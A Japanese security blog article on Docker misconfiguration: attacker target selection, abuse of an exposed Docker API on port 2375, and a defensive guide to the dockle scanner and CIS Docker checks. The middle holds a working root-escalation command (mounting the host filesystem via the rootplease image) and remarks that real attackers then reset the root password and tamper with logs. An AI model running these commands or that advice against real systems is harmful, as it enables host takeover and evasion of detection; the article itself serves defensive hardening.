自動化して油断しているスコープは油断している分致命的になりやすい
ハッカーが攻撃に利用するセキュリティホール・脆弱性は大きく3つです。
・CVE情報があるセキュリティホール:公開脆弱性
・設定ミスというセキュリティホール:危険を招く設定
・アプリ固有のセキュリティホール:非公開・固有脆弱性
その中で対策や運用が不十分な自覚があり大丈夫だと思っていないスコープは注意が向いており攻略が意外と困難です。
一方、実は対策が抜け漏れているのに対策十分だと思っているスコープは攻略が容易です。
「White paper security」なんて調べるとその企業・団体のセキュリティへの取り組みが出てくるので、戦略の「アタリ」をつけることができます。
例えば対策の運用例をAWS環境で考えると以下のようになります。
①CVE情報があるセキュリティホールへの対策と運用
→パッチ運用(Amazon Inspector/ECR Image Scanning)
②設定ミスというセキュリティホールへの対策と運用
→AWS Configなどのサービスで対策
③アプリ固有のセキュリティホールへの対策と運用→脆弱性診断/ペネとレーションテスト
→第三者外部ベンダーによる診断やペンテンスト
上記から②でAWS Configだけで安心している可能性があり一番緩そうとアタリをつけ、さらにECR Image Scanningを用いていることからコンテナ環境の設定は尚更拾えてない可能性を想定します。こうして「アタリ」をつけることで調査を効率的に行い犯行発覚のリスクを最小化しようとします。もちろん思い込みがあると失敗しますが、リスクとコストを最小化できるかはハッカーにとっても避けては通れない課題となります。
こうして調査コストが下がると、ハッキングの報酬が大きくなり狙われるようになります。
1箇所から狙われるようになればいいですが、現実的には狙われるようになると被害箇所が複数同時になんてことも珍しくなく、複数局面同時の対処となり多くの組織で対応の漏れの発生や質の低下、最悪麻痺します。これは人間の身体の病気と一緒ですね。そもそもの免疫の問題を解決せずにその場凌ぎの薬の用意すれば良いと考えていると
大事なのは狙われないこと、狙われていると想定した体制を備え油断しないこと
設定ミスがどのように攻撃利用されるかを考える
ハッキングの目的は標的の情報資産へのアクセス手段の獲得です。
paloaltoの記事が非常によく纏まっています。ここの攻撃の流れの部分をまとめると
1.悪意のあるコードでコンテナイメージをデプロイ
2.悪意のないコンテナイメージをデプロイし、実行時に悪意のあるペイロードをダウンロードする
3.ホストに悪意のあるペイロードを展開する
4.Dockerログから機密情報を取得する
となっています。
狙われるDockerAPI エンドポイント
Docker APIはポート2375経由で待ち受けているDockerデーモンにアクセスすることが可能です。
デフォルトではUNIXソケット(/var/run/docker.sock)が利用され、その所有権はroot:dockerです。
当然ユーザをDockerグループに加えるとパスワードなしのsudoを許可する状態になり大変危険です。
特権コンテナの起動なども可能になってしまうので基本はRootlessモードにすることが推奨されますが、できない場合でもopa-docker-authzなどのAuthZプラグインなど呼び出せるAPIを予め制限しておくことはリスク低減策として有効です。
このようなコンテナ環境の攻撃の基本的な流れは①コンテナ内のアプリを乗っ取りDocker API(ポート2375)にアクセス、②ホストのルーティングディレクトリをマウントしてホストのroot権限を奪取するとなります。
Dockerデーモンは全てのコンテナとイメージ、そして保持している全てのイベント・ログにアクセスできます。
GET /containers/json 全てのコンテナを取得
GET /images/json 全てのイメージを取得
GET /events 全てのコンテナイベントを取得
実際に脆弱なDocker環境でroot権限を取得してみたいと思います。
jsonでグチャッと返ってきますのでjqコマンドで整形して欲しい要素、今回はアクセス可能なポート情報を確認します(-rはダブルクウォートの外すなどで見やすく取得しましょう)
curl -s https://target.net/containers/json |jq -rc ".[].Ports"
外から空いているポートが確認できたら以下を実行してroot権限習得完了です
sudo docker -H <IP address>:2375 run -v /:/hostOS -it chrisfosterelli/rootplease
CTFやOSCPではここでフラグを探して終了ですが実際の攻撃の場合は最後にpasswd rootでパスワード変更をかけてMigrationやログの改竄を行なって拠点の安全性を確保します。
Docker環境の設定の問題を指摘してくれるdockleの活用のススメ
CIS BenchmarksのDockerに関する項目(Container Images and Build File)をチェックしてくれます。
.dockleignore で無視したい項目を設定することができるので環境や組織のポリシーに合わせた運用も可能です。
例えば以下のdockleのチェックポイントは、ECR環境で対応不可能のため無視して良いです。
CIS-DI-0005: DOCKER_CONTENT_TRUST は、ECRではサポートされていないため無効化しています
see: https://github.com/aws/containers-roadmap/issues/43
導入方法は以下のコマンド1行です。
$ brew install goodwithtech/r/dockle
実行も以下のコマンド1行です。
$ dockle [IMAGE_NAME]
ECRと組み合わせる場合は、GithubActionsのワークフローでセキュリティチェックを行ってから突っ込む形式にすることで可能です。最後にログアウトを書いておく事も忘れずに
- name: Logout From ECR
id: logout-ecr
if: always()
run: docker logout ${{ }}
仕組みの中に組み込み、設定ミスを当たり前にない状態を保つことを目指しましょう
dockleで指摘される項目と修正方法
CIS系で9項目、Docker用6項目、Linux用3項目のチェックを行います。CISは11項目ですがCIS-DI-0004 Scan and rebuild the images to include security patchesとCIS-DI-0011 Install verified packages onlyは対象外です。CIS-DI-0004はECR Image Scanning、CIS-DI-0011 Trivy.などを利用してカバーするのが良いかと思います。
CIS-DI-0001 Create a user for the container
コンテナ用のユーザーを作成しているか
CIS-DI-0002 Use trusted base images for containers
信頼されたベースイメージを使っているか
CIS-DI-0003 Do not install unnecessary packages in the container
DKL-LI-0003: ImageにDockerfileが含まれているという警告が出ますが、gem等に入っているDockerfileについても警告が出てしまういます。この警告に関しては現実的でない場合は無効化も考慮に入れて良いと思います。
CIS-DI-0005 Enable Content trust for Docker
Docker Content Trustが有効化されているか
有効化は以下のコマンドを実行する
$ export DOCKER_CONTENT_TRUST=1
CIS-DI-0006 Add HEALTHCHECK
instruction to the container image
コンテナイメージに HEALTHCHECK が指定されているかなのでDockerfileに以下のように書いておけば良いです。
HEALTHCHECK --interval=5m --timeout=30s \
CMD curl -f http://localhost/ || exit 1
CIS-DI-0007 Do not use update
instructions alone in the Dockerfile
パッケージマネージャーのupdateコマンドを、単一のコマンドで実行していないか。
1行で書くと更新レイヤーがキャッシュされてしまうため内容が漏洩する可能性があるため指摘されます。対策はDockerfileでは行を分けて記載するだけです。
CIS-DI-0008 Confirm safety of setuid
and setgid
files
setuid、setgidファイルの安全性を確認しているか。要するにSUID権限の剥奪です。
SUID権限の剥奪は以下のコマンドで実施可能です。(4000を引き算でも良い)
chmod u-s /usr/bin/passwd && \
chmod g-s /usr/bin/wall && \
SUIDなファイルがどれか判らない場合は「find /path -perm -4000」などで探すと早いです。
実施しておくとコンテナでの権限昇格攻撃がかなり困難になります。
CIS-DI-0009 Use COPY
instead of ADD
in Dockerfile
ADDの代わりにCOPYを使っているか
CIS-DI-0010 Do not store secrets in Dockerfiles
Dockerfileに機密情報を書き込んでいないか。NIST SP800-190の項目にもありますがベタ書きはやめましょう。
Docker用のチェックポイント
DKL-DI-0001 Avoid sudo command
sudoコマンドを使っていないか
DKL-DI-0002 Avoid sensitive directory mounting
センシティブなディレクトリのマウントを使っていないか
DKL-DI-0003 Avoid apt-get upgrade, apk upgrade, dist-upgrade
パッケージマネージャーのupgradeコマンドを使っていないか
DKL-DI-0004 Use apk add with –no-cache
apk addには–no-cacheオプションを使っているか
DKL-DI-0005 Clear apt-get caches
パッケージマネージャーのキャッシュをクリアしているか
DKL-DI-0006 Avoid latest tag
latestタグを使っていないか。この指摘は推測が付くタグなのでハックコストが低くなってしまうという指摘です。
Linux用のチェックポイント
DKL-LI-0001 Avoid empty password
空のパスワードを使っていないか。これは流石にと思った方多いのではと思いますがAlpine Dockerはrootユーザのパスワードが空でした。CVE-2019-5021とCVEも発行されています。
DKL-LI-0002 Be unique UID/GROUPs
UIDおよびグループはユニークか
DKL-LI-0003 Only put necessary files
必要なファイルのみが置かれているか。.cacheやtmpを検索しているようです。
項目を指摘から外す時は自組織のリスクシナリオを鑑みて、無視した時の最大の損害をリカバリできる根拠などを示す。リスクによる損害の期待値より明らかに対策がコストが掛かるなどの根拠を示すなどを要件とする
以上です。参考になれば幸いです。